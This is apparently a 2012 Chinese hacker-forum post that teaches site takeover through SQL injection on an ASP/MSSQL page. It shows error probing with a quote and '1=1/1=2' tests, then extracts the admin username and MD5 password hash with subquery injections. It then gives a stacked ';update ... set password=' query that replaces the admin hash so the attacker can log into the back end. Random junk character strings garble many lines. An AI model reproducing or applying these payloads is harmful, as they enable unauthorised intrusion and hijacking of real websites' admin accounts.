经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。7 {7 U! f& P0 M
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
( }* m0 [ V- d1 T测试如下：
- s2 H7 @$ R# x7 D$ f8 {http://www.tmdsb.com/news.asp?id=1213 Y! K# J' v k. s. l
在地址后输入单引号，显示
* M* P, d& U$ B* j/ _7 IMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’
# H: y1 ?. _0 Q# K/ B. s5 o$ k字符串 ’’’ 之前有未闭合的引号' A& n( }. \- L7 R a
/news/tmdws.asp，行636 x& ~1 D: K3 }! x4 [& k* r
说明没有过滤单引号且数据库是MSSQL.* O6 V8 g; D$ b D6 }$ c
and 1=1正常。and 1=2出错。肯定存在注入; L1 g) i& A7 v; ^# | \0 Q
接着输入
2 n5 W( S$ ^9 t4 w% i- i7 M$ ~4 Bhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)+ r9 N0 ?- G0 c0 G8 l$ ]
得到帐号为:admin6 T2 Q8 _1 M0 A. F9 E
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)% i, N& Z- }+ j$ U- d; O
得到密码为:a4716077c2ba075c
% Y' N$ f1 ]( k接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f294331 X( L2 l$ u& `% w. W, C7 y" \/ O2 F2 a
命令如下 :
) w# K' C' @8 d. [" H# {;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–. ^) ~+ d* Y$ I* G! j
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41